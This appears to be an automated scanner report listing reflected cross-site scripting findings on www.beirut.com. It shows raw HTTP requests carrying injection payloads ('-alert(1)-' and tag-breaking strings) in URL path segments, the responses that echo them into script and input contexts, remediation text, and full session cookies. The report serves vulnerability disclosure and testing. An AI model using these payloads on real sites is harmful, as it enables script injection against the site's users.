GET /Online-Internet7b908'-alert(1)-'d197f1277bf/Social-and-Activist/3727967600 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:45:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60312
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet7b908'-alert(1)-'d197f1277bf/Social-and-Activist'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 779ba'-alert(1)-'0772e8c976f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Social-and-Activist779ba'-alert(1)-'0772e8c976f/3727967600 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:50:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57771
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Internet/Social-and-Activist779ba'-alert(1)-'0772e8c976f'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5725"><a>58eaad564f9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetf5725"><a>58eaad564f9/Technology/8023704728 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:31:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60411
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetf5725"><a>58eaad564f9"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ddaa6'-alert(1)-'a1bc90a0b93 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internetddaa6'-alert(1)-'a1bc90a0b93/Technology/8023704728 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:36:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Online-Internetddaa6'-alert(1)-'a1bc90a0b93/Technology'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 58d1b'-alert(1)-'1ecd780bcc8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Technology58d1b'-alert(1)-'1ecd780bcc8/8023704728 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:40:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57833
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet/Technology58d1b'-alert(1)-'1ecd780bcc8'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9052e"><a>75c99e9fd70 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet9052e"><a>75c99e9fd70/Tourism-and-Guides/0054751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:30:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60108
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet9052e"><a>75c99e9fd70"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88c91'-alert(1)-'3a787f3de24 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet88c91'-alert(1)-'3a787f3de24/Tourism-and-Guides/0054751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:40:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Online-Internet88c91'-alert(1)-'3a787f3de24/Tourism-and-Guides'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 16a68'-alert(1)-'b1ef406af57 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Tourism-and-Guides16a68'-alert(1)-'b1ef406af57/0054751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:46:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57727
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internet/Tourism-and-Guides16a68'-alert(1)-'b1ef406af57'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33a22"><a>16f65d79cc3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet33a22"><a>16f65d79cc3/Weather-Environment/8954751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:28:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60308
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet33a22"><a>16f65d79cc3"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d201f'-alert(1)-'9caddc414c0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internetd201f'-alert(1)-'9caddc414c0/Weather-Environment/8954751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:40:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60434
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internetd201f'-alert(1)-'9caddc414c0/Weather-Environment'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1631b'-alert(1)-'b7de9628bc4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Weather-Environment1631b'-alert(1)-'b7de9628bc4/8954751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:46:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet/Weather-Environment1631b'-alert(1)-'b7de9628bc4'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f16db"><a>3891791e285 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreationsf16db"><a>3891791e285/Amusement-Centers/478536232 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:19:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60191
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreationsf16db"><a>3891791e285"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97642'-alert(1)-'cd90dd512a0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations97642'-alert(1)-'cd90dd512a0/Amusement-Centers/478536232 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:25:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60212
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Recreations97642'-alert(1)-'cd90dd512a0/Amusement-Centers'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ae02e'-alert(1)-'6d725f33c61 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Amusement-Centersae02e'-alert(1)-'6d725f33c61/478536232 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:28:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55656
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Recreations/Amusement-Centersae02e'-alert(1)-'6d725f33c61'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65c4f'-alert(1)-'098af3f6f88 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations65c4f'-alert(1)-'098af3f6f88/Arcade-Centers/707176335 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:26:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60224
